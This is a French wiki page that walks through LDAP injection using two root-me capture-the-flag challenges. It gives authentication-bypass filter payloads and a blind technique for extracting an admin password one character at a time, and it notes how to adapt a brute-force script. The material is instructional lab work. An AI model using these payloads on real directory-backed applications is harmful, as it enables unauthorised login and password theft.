Outils d'utilisateurs

Outils du Site


failles_web:ldap_injection

Ceci est une ancienne révision du document !


LDAP injections

Voici un bref aperçu des injections LDAP. Nous retrouverons les deux types d'injections: les standards avec connaissance de la syntaxe, et les injections à l'aveugle.

Les résultats présentés ici sont issus des deux challenges proposés par le site root-me:

Le principe est identique aux autres types d'injections SQL, XPATH. Seule la syntaxe change.


Injection de base sur authentification username/password


La requête de base pour une authentification LDAP est:

resultat=(&(user=<valeur>)(password=<valeur>))

Pour en être sûr, ou pour connaître la syntaxe de la requête, nous pouvons comme pour une SQLi, provoquer une erreur dans la requête, exemple en mettant ')' dans le champ user, on obtient:

ERROR : Invalid LDAP syntax : (&(uid=))(userPassword=)))

La première parenthèse fermante fait partie des valeurs saisies, elle ne doit pas être prise en compte dans la construction de la requête. Le & représente l'opérateur logique AND, et les deux variables user et password représentent deux champs présents dans l'annuaire LDAP.

Le but de l'injection est donc de bypasser le password. pour cela, on peut compléter la requête par d'autres opérateurs logiques.

Pour valider la requête, il faut qu'elle renvoie TRUE, donc que user ET password soit vrais. Le plus simple, est de saisir:

  • user= *
  • password=*)(&

Cela va donner:

  • avant: resultat=(&(user=<valeur>)(password=<valeur>))
  • après: resultat=(&(user=*)(password=*)(&))

Dans ce cas précis, une vérification sur la présence du caractère * était faite sur le champ password. D'où la nécessité de saisir quelquechose dans ce champ.

Nous pouvons forger la requête suivante en rajoutant dans le champ user un autre opérateur logique comme le OR représenté par un pipe |:

  • user=*)(|(&
  • password=)
resultat=(&(user=*)(|(&)(password=))

Le terme (&) renvoie toujours vrai, c'est très pratique pour compléter des filtres.

Cette requête bypasse le password avec une parenthèse fermante pour respecter la syntaxe de la requête. Il faut la lire comme suit: user=(* ET ('VRAI' OU password=))


Les injections à l'aveugle


Si nous nous appuyons sur le chall de root-me, nous observons que cette fois, l'injection sera à faire sur le champ de recherche de personnes. En bref, la requête sera de la forme:

resultat=(&(<champ1>=*<valeur1>*)(<champ2>=*<valeur2>*))

Nous essayons avec quelques valeurs afin de comprendre sur quel(s) champ(s) est faite la requête:

  • En saisissant “i”, on obtient:
3 results

    sn : jsmith
    Email : j.smith@ch26.challenge01.root-me.org

    sn : thich
    Email : t.hitch@ch26.challenge01.root-me.org

    sn : admin
    Email : admin@ch26.challenge01.root-me.org
  • En saisissant “e”, on obtient:
5 results

    sn : Cat
    Email : ch26@challenge01.root-me.org

    sn : jsmith
    Email : j.smith@ch26.challenge01.root-me.org

    sn : thich
    Email : t.hitch@ch26.challenge01.root-me.org

    sn : lwest
    Email : l.west@ch26.challenge01.root-me.org

    sn : admin
    Email : admin@ch26.challenge01.root-me.org

De ces deux requêtes, nous en déduisons que la requête doit contenir les champs sn et mail. Le champ “mail” est déduit des différents essais notamment en saisissant un @ qui renvoie tous les users avec une adresse mail. C'est sur ce champ que la valeur est testée.

Nous devons avoir une requête se rapprochant de cela:

resultat=(&(sn=*)(mail=*<valeur>*))

En remplaçant <valeur> par notre injection *)(<champ_contenant_password>=:

resultat=(&(sn=*)(mail=<user_test>*)(<champ_contenant_password>=*))

L'injection: resultat=(&(sn=*)(mail=*a*)(<champ_contenant_password>=<caracteres à tester>*))

Il faut respecter les *, à savoir en rajouter une à la fin de la valeur du champ mail, et ne pas en mettre à la fin de password, il y en a déjà une, elle correspond initialement à l'étoile fermant la valeur de mail.

resultat=(&(sn=*)(mail=*admin*)(password=d*))

La difficulté est de trouver le nom du champ contenant le password des users:

  • La requête a*)(champatest= renvoie rien.
  • La requête a*)(password= renvoie que le user admin.
  • La requête w*)(password= ne renvoie rien. Nous visions la sortie du user lwest.
  • La requête w*)(userpassword= renvoie bien le user lwest
  • La requête a*)(userpassword= renvoie le user admin.

nous déduisons de tout cela que seul le user admin possède le champ password mais tous les users ont un champ userpassword!

  • La requête @*)(userpassword= renvoie tous les users.
  • La requête @*)(password= ne renvoie que admin.

Il ne reste plus qu'à tester tous les caractères du champ password pour le user admin:

  • La requête admin*)(password=* renvoie une erreur de syntaxe.
  • La requête admin*)(password= renvoie admin
  • La requête admin*)(password=a renvoie 0 results
  • La requête admin*)(password=d renvoie admin
  • La requête admin*)(password=ds renvoie admin
  • etc…


Les outils


  • un simple script pour trouver le mot de passe. il est quasi identique à celui de XPATH Injection. Il faudra remplacer:
req=page+"Harry') and starts-with(../password,'"+passwd+carac

par:

req=page+"a*)(password="+passwd+carac
  • Un dico pour trouver les champs existants sur l'annuaire LDAP notamment userpassword et password et tous les autres d'ailleurs ^^.FIXME
failles_web/ldap_injection.1402687257.txt.gz · Dernière modification: 2017/04/09 15:33 (modification externe)